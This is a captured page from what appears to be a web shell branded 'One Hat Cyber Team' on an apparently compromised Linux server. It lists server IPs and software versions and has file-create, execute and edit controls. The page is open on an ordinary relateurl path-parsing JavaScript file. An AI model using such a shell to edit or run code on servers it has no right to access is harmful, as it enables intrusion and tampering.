⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
relateurl
/
lib
/
parse
/
Edit File: path.js
"use strict"; function isDirectoryIndex(resource, options) { var verdict = false; options.directoryIndexes.every( function(index) { if (index === resource) { verdict = true; return false; } return true; }); return verdict; } function parsePath(urlObj, options) { var path = urlObj.path.absolute.string; if (path) { var lastSlash = path.lastIndexOf("/"); if (lastSlash > -1) { if (++lastSlash < path.length) { var resource = path.substr(lastSlash); if (resource!=="." && resource!=="..") { urlObj.resource = resource; path = path.substr(0, lastSlash); } else { path += "/"; } } urlObj.path.absolute.string = path; urlObj.path.absolute.array = splitPath(path); } else if (path==="." || path==="..") { // "..?var", "..#anchor", etc ... not "..index.html" path += "/"; urlObj.path.absolute.string = path; urlObj.path.absolute.array = splitPath(path); } else { // Resource-only urlObj.resource = path; urlObj.path.absolute.string = null; } urlObj.extra.resourceIsIndex = isDirectoryIndex(urlObj.resource, options); } // Else: query/hash-only or empty } function splitPath(path) { // TWEAK :: condition only for speed optimization if (path !== "/") { var cleaned = []; path.split("/").forEach( function(dir) { // Cleanup -- splitting "/dir/" becomes ["","dir",""] if (dir !== "") { cleaned.push(dir); } }); return cleaned; } else { // Faster to skip the above block and just create an array return []; } } module.exports = parsePath;
Simpan